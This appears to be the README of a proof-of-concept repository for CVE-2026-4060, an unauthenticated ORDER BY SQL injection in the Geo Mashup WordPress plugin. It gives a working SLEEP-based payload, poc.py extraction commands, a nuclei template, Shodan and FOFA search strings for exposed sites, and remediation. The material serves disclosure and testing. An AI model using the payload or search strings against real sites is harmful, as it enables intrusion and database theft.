未认证攻击者可以通过Geo Mashup
render-map端点的sort参数向ORDER BY子句注入任意SQL,实现基于时间的盲注,提取敏感数据库信息。
render-map 端点接收的 sort 参数未经任何净化直接传入 $wpdb->get_results() 调用:
// render-map.php (简化)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
由于 $sort 直接拼接,攻击者可以在 ORDER BY 子句中注入子查询。WordPress 的 wpdb 会转义单引号,因此PoC使用 ORD(SUBSTRING(...)) 配合数值比较来绕过此限制,实现基于时间的盲注。
存在漏洞的端点:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
┌─────────────────────────────────┐
│ 主机(localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 在WordPress管理后台中已激活:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh 将执行以下操作:
完成后的信息:
http://localhost:8080http://localhost:8080/wp-admin(用户:admin / 密码:admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
如果响应延迟约8秒,则确认存在 ORDER BY SQL注入。
# 默认 — 仅打印提取结果
python3 poc.py --url http://localhost:8080
# 详细模式 — 显示每个payload、响应时间和提取的字符
python3 poc.py --url http://localhost:8080 --verbose
# 仅确认SQL注入,跳过数据提取
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
通过 sort 参数注入 SLEEP(8) 子查询,响应延迟约8秒。
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

PoC使用 ORD(SUBSTRING(...)) 逐字符比较提取数据:发送payload → 测量响应时间 → 当SLEEP触发时确认字符。
python3 poc.py --url http://localhost:8080 --verbose

提取的数据:
| 查询 | 结果 |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
扫描完成,耗时8.07秒。共发现1个匹配项。
Nuclei模板采用两步流程以避免误报。
如果第1步中 readme.txt 返回404,扫描会立即退出,不会发送SQL payload。
扫描完成,耗时62ms。共发现0个匹配项。 ✅
通过 readme.txt 进行插件版本检查:

如果 compare_versions(version, '<= 1.13.18') 失败,则完全跳过第2步。
扫描完成,耗时19ms。共发现0个匹配项。 ✅
| 操作 | 详情 |
|---|---|
| 更新 | 将 Geo Mashup 升级至 1.13.19 或更高版本 |
| 临时措施 | 在应用更新前,停用该插件 |
| WAF | 阻止 ORDER BY 子句中的子查询注入模式 |
补丁提交:plugins.trac.wordpress.org/changeset/3503627
Nuclei模板:nuclei/CVE-2026-4060.yaml
检测流程:
第1步:GET /wp-content/plugins/geo-mashup/readme.txt
→ 确认插件存在且版本 <= 1.13.18
第2步:GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ 状态200 + GeoMashup.createMap + 持续时间 >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| 日期 | 事件 |
|---|---|
| 2026年4月 | 发现漏洞 |
| 2026年4月 | 向插件作者报告 |
| 2026年5月 | Geo Mashup 1.13.19 补丁发布 |
| 2026年5月14日 | 分配CVE并公开披露 |
本仓库仅供教育和授权安全测试使用。
请勿对非您拥有或未获得明确书面许可的系统使用。
作者不对任何滥用此材料的行为负责。
| 字段 | 详情 |
|---|
| CVE | CVE-2026-4060 |
| 插件 | Geo Mashup by cyberhobo |
| 受影响版本 | ≤ 1.13.18 |
| 修复版本 | 1.13.19 |
| CVSS v3.1 | 7.5(高危)— AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — SQL注入中特殊元素的未正确转义 |
| 是否需要认证 | 否(未认证) |
| 组件 | 版本 |
|---|
| 操作系统 | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18(存在漏洞) |
| Python | 3.x(用于 poc.py) |
| Nuclei | v3.8.0 |